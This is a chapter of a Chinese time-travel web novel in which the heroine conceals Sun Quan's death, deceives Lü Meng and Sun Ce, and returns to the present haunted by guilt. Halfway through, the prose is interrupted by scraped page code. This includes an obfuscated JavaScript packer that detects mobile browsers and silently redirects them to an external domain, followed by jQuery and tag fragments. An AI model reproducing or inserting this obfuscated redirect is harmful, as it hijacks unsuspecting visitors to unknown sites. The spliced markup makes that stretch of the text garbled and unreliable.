烛火摇曳,在墙壁上投下幢幢鬼影,也照亮榻上那张年轻却已毫无生气的面庞。
步一乔跪坐在榻上,浑身冰冷,连指尖都在不受控制地颤抖。衣衫忘了披上,呆滞的神情似是眼睛都不曾眨一下。
她已经维持这个姿势太久,久到膝盖失去知觉。可她的内心,却正被滔天巨浪反复煎灼。
孙权死了。
巨大的恐惧如同无形的手,死死扼住了她的咽喉。
要说出去吗?
可她不敢告知任何人,只把孙权的房门关上,自己寸步不离。
不敢告诉孙策,不敢告诉吴夫人。
谁能相信他是自己咳血重伤而亡?谁又会信与你步一乔无关?
几双眼睛睁睁看见他为你挡下一刀!你是最后一个陪在他身边的人!你这来历不明的女子,本就是最大的嫌疑!
步一乔快疯了!快把自己给弄出精神分裂了!
若他们发现……若他们认定是她……杀人的罪名,足以将她碾碎成齑粉,死无葬身之地。
不能说。绝对不能说。绝不能让第三个人知道。
冷汗沿着她的脊背涔涔滑落。
可不说……又能瞒到几时?尸体在空气中一般存放多久?不久吧……
天,就快亮了。
侍女会来添灯油,医生会来请脉,孙策……或许也会来看他重伤的弟弟。到时,冰冷的身体,凝固的血迹,该如何解释?
孙策会露出绝望的神情逼问:“人怎么死的?是不是你杀了他!”
又或许他根本不会问,举起大刀,便是一条人命。
步一乔仿佛已经听到门外响起脚步声,看到孙策暴怒冲入、吕蒙拔剑相向的场景。
每一次夜风拂过窗棂的细微声响,都让她惊得几乎跳起来,以为是有人来了。
她死死咬住下唇,尝到了血腥味,才勉强没有呜咽出声。
巨大的恐慌和负罪感几乎要将她撕裂。
她看着孙权安静的睡颜,他曾那么鲜活,会用发红的耳尖表达不满,会用灼热的目光凝视她……
此刻却因为她陷入这极端可怖的境地而动弹不得。
“孙权?你说句话啊,安安静静的,一点不像你……”
步一乔尴尬地笑了笑。
“来,说些不害臊的话,我听听?初夜那晚……”
声音戛然而止。
因为步一乔又想起了她的初夜。她与眼前少年的初夜。
“那也是你的初夜吧?孙仲谋。”
她伸出手,想替他理好额前的一缕乱发,指尖却在即将触碰到他皮肤时猛地缩回。
不行,不能留下任何指纹。
她环抱住自己,只觉得无边的寒冷和孤独从四面八方涌来,将她彻底淹没。她被困在这死寂的囚笼内,守着一个惊天秘密和一具逐渐冰冷的尸体。
前进是万丈深渊,后退是刀山火海。
窗外,启明星悄然升起,微弱的光芒预示着她所恐惧的白昼即将来临。
她的时间,不多了。
“孙权……我该怎么办……”
*
关上门,步一乔的手落在门缝上迟迟不肯离开。
“步一乔。”
厚重低沉的嗓音在身后炸开,惊得她猛地转身,整个脊背紧紧贴住门扇。
吕蒙眉头一拧,没好气地问道:“你这是作甚?”
步一乔心脏狂跳,她强行压下慌乱,假意咳嗽两声,清了清发紧的嗓子,道:“你来做什么?”
“我来看看仲谋。”
“他睡了。”她答得飞快,手臂不自觉地微微张开,成了一个更决绝的阻拦姿势。
“我就看看他,不打扰。”
说罢,吕蒙作势要往里走,步一乔立马拦住,语气急切起来。
“都说他睡了!孙权他……他睡眠极浅,你脚步重,一进去,他肯定醒!”
吕蒙的脚步顿在原地,探究的目光在她脸上逡巡。
“他今日服药后睡得格外沉些,”她努力让声音听起来更自然,“大夫也说需静养,最忌惊扰。”
廊下的风穿过庭院,吕蒙沉默了片刻,眼睛微微眯起:“既如此,我便不进去了。”
步一乔心下刚松了半口气,却见吕蒙并未转身离去,高大魁梧的身形顿时带来一股强烈的压迫感,粗犷的脸庞骤然逼近。
“但你若是刻意隐瞒什么。我才不管主公下的什么令,仲谋替你求什么情。我的刀,必然将你劈成两半!”
毫不掩饰的杀意如同实质的寒冰,瞬间刺透了步一乔的四肢百骸。
“要杀要剐……悉听尊便。”
*
吕蒙离开后,步一乔站在孙权卧房门外久久挪不动脚。呼吸困难,比临死还难过。
吕蒙都差点暴露,更何况是周瑜……藏不住的……一定会暴露的……
不知又过多久,夜色渐浓,步一乔还是憋不住,托着沉重的身子来到了孙策屋外。
门开着,她在门前犹豫片刻,终于抬手,极轻地叩响了门扉。
“伯符……”
屋内,孙策正就着烛火,擦拭着他的佩剑,在听到她声音的瞬间柔和了下来。立马起身朝她走来,目光如温暖的烛火,将她笼罩。
“大乔。仲谋的身子,可有好些?”
“孙权他……”
步一乔下意识地绞紧了衣袖,话到嘴边又咽了回去。
她避开他关切的目光,低声嗫嚅道:“……嗯,好些了。刚服了药,已经睡下了。”
“如此便好。”
孙策似是松了口气,唇角牵起一个令人安心的弧度。
“有你看顾他,我总是放心的。”
屋内再次陷入寂静,一阵难言的失落悄然攥住了步一乔的心。
忽然,一只温暖而略带薄茧的大手轻轻落在了她的发顶,动作轻柔地替她理了理被风吹得有些凌乱的发丝。
“这些日子,辛苦你了。看你都清减了些。照顾仲谋固然要紧,但你自己的身子,更不可轻忽。”
他指尖的温度透过发丝传来,却像一块烙铁,烫得她心口发疼。温柔的关怀此刻竟比任何斥责都更令她难以承受。汹涌的愧疚感几乎将她淹没,堵住了她的喉咙,让她窒息。
“伯符……”
她抬起眼,望入他清澈坦荡的眼底,那里面盛满了全然的信任。
“嗯?”他耐心地等待着她的下文。
“我其实……我其实是……”
真相几乎要脱口而出,沉重的秘密压得她脊背都要弯曲。可看着孙策的眼睛,话语最终化作了一声无力喘息。
步一乔猛地向后退了半步,仓皇地避开他的触碰。
“我……我去看看他有没有踢被子。”
她几乎是落荒而逃般地转过身,脚步踉跄。可就在走出几步之后,不舍与眷恋又如潮水般涌上,让她鬼使神差地回过头,想再看他一眼。
仿佛心有灵犀一般,孙策也正凝望着她的背影。他的目光依旧温和,却带着一丝不易察觉的探寻。
四目相对,步一乔像被灼伤一般,倏地垂下眼帘,全身颤抖着,再也鼓不起勇气与他对视。
“对不起……伯符。”
*</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467246|185506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她几乎是跑回孙权的卧房,狠狠关上门,将不存在的人和视线隔绝在外。
葬送了初夜的屋子,此刻就像杀手的安全屋,令人松懈下来。
床榻上的人已没了气息。步一乔站在床榻边,俯视着,而后缓缓俯下身,将前额轻轻贴上孙权那片冰凉的皮肤,唇瓣张合,说了什么话,许久才抬起。
“抱歉。”
没有更多时间哀悼。她利落地收拾好所有属于自己的物品,不留下一丝痕迹,如同她从未在这个时代存在过。
趁着夜色,她再次回到地牢,片刻不停躺回熟悉的棺椁,用力拉合沉重的棺盖。
眼前陷入彻底的黑暗。她闭上眼,在心中默念那个她要抵达的年份。
周身空气剧烈地波动,温度骤升又骤降,一阵熟悉的眩晕与撕扯感过后,一切归于平静。
穿越结束了。
她立刻推开棺盖,急切地翻身而出,冲向地牢之外。
刺眼的阳光让她微微眯起了眼。游客熙攘,周围人声鼎沸,导游的讲解声诉说着她刚才经历的历史。
一阵虚脱感袭来,她喃喃自语:“先……先回学校吧。”
“站住!”
熟悉的冷喝少年音自身后炸开,步一乔吓得浑身一颤,猛地回头。
周遭的空气似乎扭曲了一瞬,光线诡异地折叠,一个虚幻的身影悬浮于不远处。
“你……”
虚幻的影像极不稳定,闪烁着如同信号不良般的雪花和卡顿。
呵。
步一乔扯出一个苦涩的笑,下意识地后退半步。想不到连日来的紧绷与巨大的负罪感,已经让她精神崩溃到了出现如此逼真幻觉的地步。
“你就这么放任我死吗?”残影发出冰冷的质问,声音断断续续。
“我已化解了门客刺杀一事,伯符不会出意外。现在你死了……”
她停顿了一下。
“伯符就可以顺利登上吴王之位。这是最好的结局。”
没错,这是最好的结局。
自己改写历史的目的达到了。
反正孙权早晚会死。对于两千年后的步一乔来说,他早死了,投胎都几回了。
对,是这样的。她步一乔没有错,她是为了完成目的去的。
没有杀人……没有……
“孙权”的残像剧烈地闪烁起来,扭曲的脸上浮现出一种近乎讥讽的表情。杂音越来越响,幻影却步步紧逼,声音层层递进,从低语化为最终的审判:
“步一乔……”
“杀人凶手……”
“步一乔。”
“杀人凶手。”
“步一乔!”
“杀人凶手!!!!”
最后一声咆哮,不再是冰冷的质问,而是裹挟着无尽怨愤与绝望的嘶吼。随后影像爆裂成无数碎片的光点,彻底消散在空气中。
只留下步一乔僵立在原地,面色惨白。
“我不是……我不是杀人凶手……我没有杀人……是吕蒙……是孙权……”
她扯了扯唇角,呵呵地笑起来。
“对,是孙权自己要替自己挨下那一刀的……是他自己要死的……不是我……”
她缓缓转过身,一步一步地拖着沉重的双腿,踉跄着朝孙氏旧宅的外面走去。阳光照在她身上,却仿佛照不进她空洞的眼底。
“我不是……孙权……我不是……”
她反复呢喃着,不知是在向谁辩解,还是在进行一场绝望的自我催眠。
“临走前,我向你道过歉了……我不会救你的。我不会再穿越回去……救你……”